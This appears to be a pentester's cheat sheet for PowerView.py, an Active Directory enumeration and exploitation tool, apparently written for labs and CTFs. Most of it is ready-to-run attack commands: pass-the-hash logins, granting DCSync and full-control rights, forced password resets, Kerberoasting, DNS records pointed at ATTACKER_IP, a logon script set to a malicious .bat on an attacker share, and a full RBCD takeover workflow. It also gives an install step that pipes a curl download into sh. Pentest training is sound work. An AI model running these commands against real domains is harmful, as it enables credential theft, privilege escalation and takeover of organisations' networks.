Cheat sheet / Active Directory
PowerView.py
Reference Python pour l'enumeration AD et les abus de droits courants.
Utilisation
Ces notes reprennent mes commandes de reference pour les labs Active Directory et CTF. Les variables $IP, lab.local, user et password sont a adapter a chaque environnement.
PowerView.py is a Python implementation of the original PowerView.ps1 script. It provides an interactive LDAP session from Linux, eliminating the need to repeatedly authenticate and allowing full Active Directory enumeration and exploitation from a single shell. PowerView.py supports authentication using cleartext passwords, pass-the-hash, Kerberos tickets or certificates and binds to LDAP/LDAPS/GC services of a domain controller. Since it is a Python tool, wrapping it with proxychains is straightforward, making it ideal for pivoting through SOCKS proxies during engagements.
Installation
Requires libkrb5-dev for Kerberos support.
sudo apt install libkrb5-devPyPI (recommended)
pip3 install powerviewcurl
curl -L powerview.sh | shManual
git clone https://github.com/aniqfakhrul/powerview.pycd powerview.py./install.shAuthentication
User/Password
powerview $DOMAIN/$USER:$PASSWORD@$IPPass-the-Hash (PtH)
powerview $DOMAIN/$USER@$IP -H 'LMHASH:NTHASH'Kerberos (FQDN required)
export KRB5CCNAME=ticket.ccachepowerview $DOMAIN/$USER@$FQDN -k --no-passCertificate (PFX)
powerview $IP --pfx administrator.pfxConnection Types
powerview $DOMAIN/$USER:$PASSWORD@$IP --use-ldap # Port 389powerview $DOMAIN/$USER:$PASSWORD@$IP --use-ldaps # Port 636powerview $DOMAIN/$USER:$PASSWORD@$IP --use-gc # Port 3268 (Global Catalog)powerview $DOMAIN/$USER:$PASSWORD@$IP --use-gc-ldaps # Port 3269powerview $DOMAIN/$USER:$PASSWORD@$IP --use-adws # Active Directory Web ServicesAdditional options: --use-channel-binding, --use-sign-and-seal, --use-simple-auth
SOCKS Proxy
proxychains4 -q powerview $DOMAIN/$USER:$PASSWORD@$IPLDAP Query Obfuscation
powerview $DOMAIN/$USER:$PASSWORD@$IP --obfuscateEnumeration
ACLs/DACL Enum
Enumerate all outbound rights of a user (equivalent to BloodHound's "Outbound Object Control") — this catches extended rights like ForceChangePassword that bloodyAD get writable misses
Get-DomainUser $USER -Properties objectsidGet-DomainObjectAcl -SecurityIdentifier $USER_SID -ResolveGUIDsEnumerate inbound ACLs on a specific target object
Get-DomainObjectAcl -Identity 'TARGET_OBJECT' -ResolveGUIDsGet the owner of an object
Get-DomainObjectOwner -Identity 'TARGET_OBJECT'Domain Enumeration
Get domain information
Get-DomainGet-Domain -Properties ms-DS-MachineAccountQuotaGet-Domain -Properties minPwdLengthGet-Domain -Properties msDS-Behavior-VersionGet-Domain -Properties pwdHistoryLengthGet all users of the domain
Get-DomainUserGet-DomainUser -CountGet-DomainUser -Properties samaccountname,description,memberof,pwdlastset,lastlogonGet a specific user's information
Get-DomainUser -Identity 'TARGET_USER'Get-DomainUser -Identity 'TARGET_USER' -Properties *Search for passwords in user description and info fields
Get-DomainUser -Properties samaccountname,description -Where "description != ''"Get-DomainUser -Properties samaccountname,info -Where "info != ''"Get all groups of the domain
Get-DomainGroupGet-DomainGroup -AdminCountGet members of a specific group
Get-DomainGroupMember -Identity 'Domain Admins'Get groups a user belongs to
Get-DomainGroup -MemberIdentity 'TARGET_USER'Get all computers of the domain
Get-DomainComputerGet-DomainComputer -Properties samaccountname,operatingsystem -EnabledGet-DomainComputer -IncludeIPGet domain controllers
Get-DomainControllerGet Organizational Units (OUs)
Get-DomainOUGet Group Policy Objects (GPOs)
Get-DomainGPOGet-DomainGPOLocalGroupGet domain trusts
Get-NetTrustGet Kerberoastable users (users with SPN set)
Get-DomainUser -SPNGet AS-REP Roastable users (DONT_REQ_PREAUTH set)
Get-DomainUser -PreAuthNotRequiredGet users with Constrained Delegation
Get-DomainUser -TrustedToAuthGet-DomainComputer -TrustedToAuthGet users/computers with Unconstrained Delegation
Get-DomainUser -UnconstrainedGet-DomainComputer -UnconstrainedGet computers with LAPS
Get-DomainComputer -LAPSGet computers with RBCD configured
Get-DomainComputer -RBCDGet-DomainUser -RBCDGet computers with Shadow Credentials
Get-DomainComputer -ShadowCredGet-DomainUser -ShadowCredGet gMSA accounts
Get-DomainGMSAGet-DomainComputer -GMSAPasswordGet disabled/locked users
Get-DomainUser -DisabledGet-DomainUser -LockedOutGet-DomainUser -PassExpiredGet DNS records
Get-DomainDNSRecordGet-DomainDNSZoneGet SCCM information
Get-DomainSCCMGet foreign domain users
Get-DomainForeignUserExport results to a file
Get-DomainUser -OutFile domain_users.txtGet-DomainUser -Properties samaccountname,description -TableView csv -OutFile users.csvACL & Object Attacks
Add GenericAll (Full Control) permissions to an object
Add-DomainObjectAcl -TargetIdentity 'TARGET' -PrincipalIdentity 'TRUSTEE' -Rights fullcontrolAdd DCSync permissions to a domain object
Add-DomainObjectAcl -TargetIdentity 'DC=lab,DC=local' -PrincipalIdentity 'TRUSTEE' -Rights dcsyncAdd ResetPassword right on a user
Add-DomainObjectAcl -TargetIdentity 'TARGET_USER' -PrincipalIdentity 'TRUSTEE' -Rights resetpasswordAdd WriteMembers right on a group
Add-DomainObjectAcl -TargetIdentity 'TARGET_GROUP' -PrincipalIdentity 'TRUSTEE' -Rights writemembersAdd an ACE with a specific right GUID
Add-DomainObjectAcl -TargetIdentity 'TARGET' -PrincipalIdentity 'TRUSTEE' -RightGUID '00299570-246d-11d0-a768-00aa006e0529'Add an ACE with inheritance (propagates to child objects)
Add-DomainObjectAcl -TargetIdentity 'TARGET_OU' -PrincipalIdentity 'TRUSTEE' -Rights fullcontrol -InheritanceRemove an ACE (same syntax as Add but with Remove)
Remove-DomainObjectAcl -TargetIdentity 'TARGET' -PrincipalIdentity 'TRUSTEE' -Rights fullcontrolMake a user the owner of an object (WriteOwner abuse)
Set-DomainObjectOwner -TargetIdentity 'TARGET_OBJECT' -PrincipalIdentity 'NEW_OWNER'Add a user to a group
Add-DomainGroupMember -Identity 'GROUP_NAME' -Members 'USER_TO_ADD'Remove a user from a group
Remove-DomainGroupMember -Identity 'GROUP_NAME' -Members 'USER_TO_REMOVE'Modify an object attribute (GenericWrite / WriteSPN / WriteProperty abuse)
Set-DomainObject -Identity 'TARGET' -Set 'attribute=value'Add a malicious script to a user that executes upon login (scriptPath)
Set-DomainObject -Identity 'TARGET' -Set 'scriptPath=\\ATTACKER_IP\malicious.bat'Modify the UPN for AD CS / UPN Spoofing attacks
Set-DomainObject -Identity 'TARGET_USER' -Set 'userPrincipalName=administrator@lab.local'Append a value to an attribute
Set-DomainObject -Identity 'TARGET' -Append 'attribute=value'Clear an attribute
Set-DomainObject -Identity 'TARGET' -Clear 'attribute'Remove a specific value from an attribute
Set-DomainObject -Identity 'TARGET' -Remove 'attribute=value'Convert a SID to a readable name
ConvertFrom-SID S-1-5-21-...Password Attacks
Force change a user's password (ForceChangePassword / ResetPassword abuse)
Set-DomainUserPassword -Identity 'TARGET_USER' -AccountPassword 'NEW_PASSWORD'Change a user's password (requires old password)
Set-DomainUserPassword -Identity 'TARGET_USER' -AccountPassword 'NEW_PASSWORD' -OldPassword 'OLD_PASSWORD'Change a computer account password
Set-DomainComputerPassword -Identity 'COMPUTER$' -AccountPassword 'NEW_PASSWORD'Read a gMSA password
Get-DomainGMSAGet-DomainComputer -GMSAPasswordRead LAPS passwords
Get-DomainComputer -LAPSKerberos Attacks
Kerberoast — extract TGS hashes for offline cracking
Invoke-KerberoastInvoke-Kerberoast -Identity 'TARGET_USER'Invoke-Kerberoast -OutFile kerberoast_hashes.txtOpSec mode for Kerberoasting
Invoke-Kerberoast -OpsecAssign an SPN to a user to make them Kerberoastable (WriteSPN abuse)
Set-DomainObject -Identity 'TARGET_USER' -Set 'servicePrincipalName=cifs/target'Remove the SPN after Kerberoasting
Set-DomainObject -Identity 'TARGET_USER' -Clear 'servicePrincipalName'Find AS-REP Roastable users
Get-DomainUser -PreAuthNotRequiredFind users with Constrained Delegation
Get-DomainUser -TrustedToAuthGet-DomainComputer -TrustedToAuthFind users/computers with Unconstrained Delegation
Get-DomainUser -UnconstrainedGet-DomainComputer -UnconstrainedDNS Attacks
Query the DNS records of the domain
Get-DomainDNSRecordGet-DomainDNSZoneCreate a new DNS record for DNS Spoofing attacks
Add-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'ATTACKER_IP'Create a DNS record in a specific zone
Add-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'ATTACKER_IP' -ZoneName 'lab.local'Create a DNS record in the Forest DNS partition
Add-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'ATTACKER_IP' -ForestModify an existing DNS record
Set-DomainDNSRecord -RecordName 'TARGET_RECORD' -RecordAddress 'NEW_IP'Remove a DNS record
Remove-DomainDNSRecord -RecordName 'TARGET_RECORD'RBCD Attacks (Resource-Based Constrained Delegation)
Full RBCD attack workflow using PowerView.py:
1 — Check Machine Account Quota
Get-Domain -Properties ms-DS-MachineAccountQuota2 — Create a new computer account
Add-DomainComputer -ComputerName 'ATTACKER_COMPUTER' -ComputerPass 'Password123'3 — Set RBCD delegation on the target
Set-DomainRBCD -Identity 'TARGET_COMPUTER' -DelegateFrom 'ATTACKER_COMPUTER'4 — Verify the delegation is set
Get-DomainComputer -Identity 'TARGET_COMPUTER' -Properties msDS-AllowedToActOnBehalfOfOtherIdentity -ResolveSIDsAlternatively, add RBCD rights via ACL manipulation
Add-DomainObjectAcl -TargetIdentity 'TARGET_COMPUTER' -PrincipalIdentity 'ATTACKER_COMPUTER' -Rights fullcontrolCheck computers with RBCD already configured
Get-DomainComputer -RBCDGet-DomainRBCDNote: After setting RBCD via PowerView.py, use Impacket's
getST.pyto request a service ticket via S4U2Self and S4U2Proxy, then pass the ticket to access the target.
References / Useful Pages
- PowerView.py GitHub Repository
- PowerView.py Wiki — User Guide & Modules
- PowerView.py Wiki — Cheatsheets
- PowerView.py Wiki — Use Cases (RBCD, Relay, gMSA)
- PowerView.py PyPI
- Original PowerView.ps1 — PowerSploit
- PowerView.ps1 Documentation — PowerSploit ReadTheDocs
- Active Directory Exploitation Cheat Sheet
- bloodyAD Cheatsheet by gzzcoo